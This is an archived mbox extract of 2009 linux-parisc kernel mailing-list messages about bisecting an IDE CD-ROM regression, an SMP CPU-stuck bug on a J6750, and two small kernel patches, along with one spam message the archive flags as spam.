	Kyle McMartin <kyle@mcmartin.ca>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: petkovbb@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 26 13:27:14 2009
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ly10R-0002L0-Jc
	for glpp-linux-parisc@gmane.org; Sun, 26 Apr 2009 11:50:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752811AbZDZJtL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Apr 2009 05:49:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753114AbZDZJtK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 26 Apr 2009 05:49:10 -0400
Original-Received: from mail-ew0-f176.google.com ([209.85.219.176]:47651 "EHLO
	mail-ew0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752811AbZDZJtJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Apr 2009 05:49:09 -0400
Original-Received: by ewy24 with SMTP id 24so1671521ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 26 Apr 2009 02:49:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=mJpdMdXzlzXkoq72vrR76Az9LA4p0TrmLqSweHQDZrQ=;
        b=TqLBSn+pES3bk56PDLvcqIr4bkQCZ5dcz6COxplzXcdqk8GHF0G/vfZxGWY3i+fGxc
         f9kjWGcBadNzFKbLoEZQHNns7wHMYjwihnLoHfZ8YemHjOR2jx/Yfm9NzGmuDZgpYKtl
         bG98eXoY+EPyYYOBP13bLOthrIDruzSztcHf4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=l2V4WOuuYqa3/tevuis7+Ztb2cygh/sQbx+VSMhz6EWDbux+mxZCqG3SPUQKyk4OXP
         cuW+aaQOyGFXIALmRKT317+UY7fB9l/cPg3Hpr1lWkj80IAA+sQQxcG1wCI+hwgLiMbg
         6SIZQwAzC3MkIGNhU0OwVn8gpgkNWxkoHHc7k=
Original-Received: by 10.210.42.20 with SMTP id p20mr3404928ebp.30.1240739347649;
        Sun, 26 Apr 2009 02:49:07 -0700 (PDT)
Original-Received: from localhost.localdomain (chello089077051219.chello.pl [89.77.51.219])
        by mx.google.com with ESMTPS id 28sm1536763eye.6.2009.04.26.02.49.07
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 26 Apr 2009 02:49:07 -0700 (PDT)
User-Agent: KMail/1.11.2 (Linux/2.6.29-next-20090403; KDE/4.2.2; i686; ; )
In-Reply-To: <20090426063331.GA3079@liondog.tnic>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1576
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1576>

On Sunday 26 April 2009 08:33:32 Borislav Petkov wrote:
> Hi,
> 
> On Sun, Apr 26, 2009 at 12:51:46AM +0200, Helge Deller wrote:
> ..
> 
> > > Thus please give commit 5ae5412d9a23b05ab08461b202bad21ad8f6b66d ("ide:
> > > add ide_dma_prepare() helper") with your ide-cd fix applied a try.
> > 
> > That is a hard one. Just reverting it (with or without the other one above) prevents
> > me to build a kernel due to compiler errors.

Sorry for not explaining this properly -- I meant doing git checkout at this
commit not reverting it (anyway it isn't needed now as we know that this change
is good since it was done before -rc1).
 
> > Instead I tried 2.6.30-rc1 and 2.6.30-rc2 (all with my simple patch).
> > 2.6.30-rc1 worked without problems.
> > 2.6.30-rc2 did showed the errors.
> > (I should mention, that the cdrom does work even if those messages are printed).
> > The diff of drivers/ide/ns87415.c between those two versions seems unproblematic.
> > Then, after inserting "outb(ATA_DEVCTL_OBS, io_ports->ctl_addr);" to 2.6.30-rc2 didn't fixed it either.
> > 
> > So, I think there is some generic problems in the generic ide cdrom stack, which was
> > introduced between 2.6.30-rc1 and -rc2.
> > 
> > Hope this helps you further.
> 
> Not really, since I'm assuming that it is this particular hardware
> confguration you have that triggers this. It would still be very helpful
> if you'd bisected it since you've narrowed it down to the [30-rc1
> 30-rc2] interval and that isn't going to be a large number of kernel
> compiles :).

Yes, there is only 26 drivers/ide commits in-between, just do:

	git bisect start v2.6.30-rc1 v2.6.30-rc2 drivers/ide

build it, test it, mark it with:

	git bisect bad

or

	git bisect good

and then repeat build-test-mark cycle until the guilty commit is found.

Thanks,
Bart
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SMP: CPU:1 is stuck. on J6750
Date: Mon, 27 Apr 2009 13:01:51 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20090427170151.GA7823@bombadil.infradead.org>
References: <200904240915.44386.nick.leippe@whitecanyon.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1240851755 18636 80.91.229.12 (27 Apr 2009 17:02:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Apr 2009 17:02:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Nicholas Leippe <nick.leippe@whitecanyon.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 27 19:02:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LyUDo-0002zB-JV
	for glpp-linux-parisc@gmane.org; Mon, 27 Apr 2009 19:02:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751858AbZD0RBw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Apr 2009 13:01:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752005AbZD0RBw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 27 Apr 2009 13:01:52 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:43722 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752238AbZD0RBv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Apr 2009 13:01:51 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LyUDH-0005Vf-2o; Mon, 27 Apr 2009 17:01:51 +0000
Content-Disposition: inline
In-Reply-To: <200904240915.44386.nick.leippe@whitecanyon.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1577
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1577>

On Fri, Apr 24, 2009 at 09:15:44AM -0600, Nicholas Leippe wrote:
> I'm still experiencing this issue on a J6750.
> I've gotten this w/kernels 2.6.26 thru 2.6.29.
> Other than the missing cpu, things seem to function just fine.
> Increasing the timeout in smp.c line 410 to 100000 did not help.
> 

Does it work in 32-bit mode?

I seem to recall being unable to reproduce this. It's very strange...

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SMP: CPU:1 is stuck. on J6750
Date: Mon, 27 Apr 2009 17:30:27 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20090427213027.GB5264@bombadil.infradead.org>
References: <200904240915.44386.nick.leippe@whitecanyon.com> <20090427170151.GA7823@bombadil.infradead.org> <200904271529.44414.nick.leippe@whitecanyon.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1240868003 11500 80.91.229.12 (27 Apr 2009 21:33:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Apr 2009 21:33:23 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Nicholas Leippe <nick.leippe@whitecanyon.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 27 23:33:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LyYPT-0005u2-Ip
	for glpp-linux-parisc@gmane.org; Mon, 27 Apr 2009 23:30:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750835AbZD0Vak (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Apr 2009 17:30:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752414AbZD0Vak
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 27 Apr 2009 17:30:40 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41849 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750835AbZD0Vak (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Apr 2009 17:30:40 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LyYPD-0008Qi-6X; Mon, 27 Apr 2009 21:30:27 +0000
Content-Disposition: inline
In-Reply-To: <200904271529.44414.nick.leippe@whitecanyon.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1578>

On Mon, Apr 27, 2009 at 03:29:44PM -0600, Nicholas Leippe wrote:
> On Mon Apr 27 2009 11:01:51 you wrote:
> > On Fri, Apr 24, 2009 at 09:15:44AM -0600, Nicholas Leippe wrote:
> > > I'm still experiencing this issue on a J6750.
> > > I've gotten this w/kernels 2.6.26 thru 2.6.29.
> > > Other than the missing cpu, things seem to function just fine.
> > > Increasing the timeout in smp.c line 410 to 100000 did not help.
> >
> > Does it work in 32-bit mode?
> 
> I built it as a 32bit kernel and it seems to work just fine.
> (Only difference is CONFIG_64BIT and 32bit compiler).

The dmesg you posted was a 64-bit kernel. See the "the 64-bit kernel has
started message".

To build a 32-bit kernel, CONFIG_64BIT needs to be off...

thanks, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Nance Harvey" <stalinonline@arhaus.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Learn how make your GF happy.
Date: Wed, 29 Apr 2009 20:29:52 +0800
Lines: 7
Approved: news@gmane.org
Message-ID: <20090429202952.3000703@arhaus.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241010748 2832 80.91.229.12 (29 Apr 2009 13:12:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Apr 2009 13:12:28 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 29 15:12:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lz9Zw-0001S4-Ol
	for glpp-linux-parisc@gmane.org; Wed, 29 Apr 2009 15:12:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759472AbZD2NJW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Apr 2009 09:09:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759312AbZD2NJW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 29 Apr 2009 09:09:22 -0400
Original-Received: from [221.131.114.138] ([221.131.114.138]:54843 "HELO wergvan"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1759513AbZD2NJU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Apr 2009 09:09:20 -0400
Original-Received: from wzep ([173.234.202.77]) by wergvan with Microsoft SMTPSVC(6.0.3790.211); Wed, 29 Apr 2009 20:29:52 +0800
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 15.5 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?221.131.114.138>]
 *  4.0 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
 *      [221.131.114.138 listed in sbl-xbl.spamhaus.org]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: nutritiousoutlasts.com]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: nutritiousoutlasts.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1580 gmane.spam.detected:4371922
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1580>

For your sweethearts only. http://fyu.nutritiousoutlasts.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: [PATCH] ide-cd: fix REQ_QUIET tests in cdrom_decode_status]
Date: Wed, 29 Apr 2009 22:55:48 +0200
Lines: 105
Approved: news@gmane.org
Message-ID: <49F8BED4.7000509@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241038569 26381 80.91.229.12 (29 Apr 2009 20:56:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Apr 2009 20:56:09 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 29 22:55:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzGor-0008Lb-8y
	for glpp-linux-parisc@gmane.org; Wed, 29 Apr 2009 22:55:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751538AbZD2Uzu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 29 Apr 2009 16:55:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752191AbZD2Uzu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 29 Apr 2009 16:55:50 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:38935 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751538AbZD2Uzu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 29 Apr 2009 16:55:50 -0400
Original-Received: (qmail invoked by alias); 29 Apr 2009 20:55:49 -0000
Original-Received: from mnhm-590e0036.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.0.54]
  by mail.gmx.net (mp033) with SMTP; 29 Apr 2009 22:55:49 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18I4slseIAITj9aBRlVBQcy57EA79i4XQvQYdJtCV
	WXcqRQJO5gLe4E
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1581
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1581>

Forwarded to linux-parisc list for reference:
This patch is needed for 2.6.30 to make the IDE CDROM working on c3k
and similiar machines.
Helge

-------- Original Message --------
Subject: [PATCH] ide-cd: fix REQ_QUIET tests in cdrom_decode_status
Date: Tue, 28 Apr 2009 23:38:14 +0200
From: Borislav Petkov <petkovbb@googlemail.com>
Reply-To: petkovbb@gmail.com
To: linux-ide@vger.kernel.org
CC: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,	Helge Deller <deller@gmx.de>, Jens Axboe <jens.axboe@oracle.com>,	Sergei Shtylyov <sshtylyov@ru.mvista.com>
References: <49F6DC50.7000106@ru.mvista.com>

Here's a non-wrapped version, Sergei thanks for catching that.

--
From: Borislav Petkov <petkovbb@gmail.com>
Date: Mon, 27 Apr 2009 14:11:32 +0200
Subject: [PATCH] ide-cd: fix REQ_QUIET tests in cdrom_decode_status

Original patch (dfa4411cc3a690011cab90e9a536938795366cf9) was buggy.
This is a more proper fix which introduces blk_rq_quiet() macro
alleviating the need for dumb, too short caching variables.

Thanks to Helge Deller and Bart for debugging this.

Signed-off-by: Borislav Petkov <petkovbb@gmail.com>
---
 drivers/ide/ide-cd.c   |    9 ++++-----
 include/linux/blkdev.h |    1 +
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/ide/ide-cd.c b/drivers/ide/ide-cd.c
index 07fb9e4..e4df578 100644
--- a/drivers/ide/ide-cd.c
+++ b/drivers/ide/ide-cd.c
@@ -282,7 +282,6 @@ static int cdrom_decode_status(ide_drive_t *drive, u8 stat)
 	ide_hwif_t *hwif = drive->hwif;
 	struct request *rq = hwif->rq;
 	int err, sense_key, do_end_request = 0;
-	u8 quiet = rq->cmd_flags & REQ_QUIET;
 
 	/* get the IDE error register */
 	err = ide_read_error(drive);
@@ -317,7 +316,7 @@ static int cdrom_decode_status(ide_drive_t *drive, u8 stat)
 		} else {
 			cdrom_saw_media_change(drive);
 
-			if (blk_fs_request(rq) && !quiet)
+			if (blk_fs_request(rq) && !blk_rq_quiet(rq))
 				printk(KERN_ERR PFX "%s: tray open\n",
 					drive->name);
 		}
@@ -352,7 +351,7 @@ static int cdrom_decode_status(ide_drive_t *drive, u8 stat)
 		 * No point in retrying after an illegal request or data
 		 * protect error.
 		 */
-		if (!quiet)
+		if (!blk_rq_quiet(rq))
 			ide_dump_status(drive, "command error", stat);
 		do_end_request = 1;
 		break;
@@ -361,14 +360,14 @@ static int cdrom_decode_status(ide_drive_t *drive, u8 stat)
 		 * No point in re-trying a zillion times on a bad sector.
 		 * If we got here the error is not correctable.
 		 */
-		if (!quiet)
+		if (!blk_rq_quiet(rq))
 			ide_dump_status(drive, "media error "
 					"(bad sector)", stat);
 		do_end_request = 1;
 		break;
 	case BLANK_CHECK:
 		/* disk appears blank? */
-		if (!quiet)
+		if (!blk_rq_quiet(rq))
 			ide_dump_status(drive, "media error (blank)",
 					stat);
 		do_end_request = 1;
diff --git a/include/linux/blkdev.h b/include/linux/blkdev.h
index ba54c83..6f841fb 100644
--- a/include/linux/blkdev.h
+++ b/include/linux/blkdev.h
@@ -598,6 +598,7 @@ enum {
 				 blk_failfast_transport(rq) ||	\
 				 blk_failfast_driver(rq))
 #define blk_rq_started(rq)	((rq)->cmd_flags & REQ_STARTED)
+#define blk_rq_quiet(rq)	((rq)->cmd_flags & REQ_QUIET)
 
 #define blk_account_rq(rq)	(blk_rq_started(rq) && (blk_fs_request(rq) || blk_discard_rq(rq))) 
 
-- 
1.6.2.4


-- 
Regards/Gruss,
    Boris.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH 6/6] Add support for __read_mostly to linux/cache.h
Date: Thu, 30 Apr 2009 15:32:36 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <1241119956-31453-7-git-send-email-tabbott@mit.edu>
References: <1241119956-31453-1-git-send-email-tabbott@mit.edu>
 <1241119956-31453-2-git-send-email-tabbott@mit.edu>
 <1241119956-31453-3-git-send-email-tabbott@mit.edu>
 <1241119956-31453-4-git-send-email-tabbott@mit.edu>
 <1241119956-31453-5-git-send-email-tabbott@mit.edu>
 <1241119956-31453-6-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241120184 22640 80.91.229.12 (30 Apr 2009 19:36:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 19:36:24 +0000 (UTC)
Cc: Anders Kaseorg <andersk@mit.edu>, Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-alpha@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 21:36:06 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzc3B-00044K-IN
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 21:36:05 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:49564 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026690AbZD3Tf6 (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 20:35:58 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 20:35:41 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:56451 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20026686AbZD3Tfc (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 20:35:32 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJX98I029892;
	Thu, 30 Apr 2009 15:33:09 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJX6wn002515;
	Thu, 30 Apr 2009 15:33:06 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241119956-31453-6-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22556
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23585 gmane.linux.ports.alpha:503 gmane.linux.ports.arm.kernel:57227 gmane.linux.ports.ia64:20303 gmane.linux.ports.m68k:675 gmane.linux.ports.parisc:1582 gmane.linux.ports.ppc64.devel:55674 gmane.linux.ports.sh.devel:5846 gmane.linux.uclinux.microblaze:8568 gmane.linux.ports.sparc:11533 gmane.linux.hardware.blackfin.kernel.devel:1344 gmane.linux.uml.devel:12168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1582>

Signed-off-by: Tim Abbott <tabbott@mit.edu>
---
 include/linux/cache.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/include/linux/cache.h b/include/linux/cache.h
index 97e2488..99d8a6f 100644
--- a/include/linux/cache.h
+++ b/include/linux/cache.h
@@ -13,7 +13,13 @@
 #endif
 
 #ifndef __read_mostly
+#ifdef CONFIG_HAVE_READ_MOSTLY_DATA
+#define __read_mostly __attribute__((__section__(".data.read_mostly")))
+#define __READ_MOSTLY .section ".data.read_mostly", "aw"
+#else
 #define __read_mostly
+#define __READ_MOSTLY
+#endif /* CONFIG_HAVE_READ_MOSTLY_DATA */
 #endif
 
 #ifndef ____cacheline_aligned
-- 
1.6.2.1




From - Thu Nov 08 21:04:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH 2/6] Add new NOSAVE_DATA linker script macro.
Date: Thu, 30 Apr 2009 15:32:32 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <1241119956-31453-3-git-send-email-tabbott@mit.edu>
References: <1241119956-31453-1-git-send-email-tabbott@mit.edu>
 <1241119956-31453-2-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241120205 22691 80.91.229.12 (30 Apr 2009 19:36:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
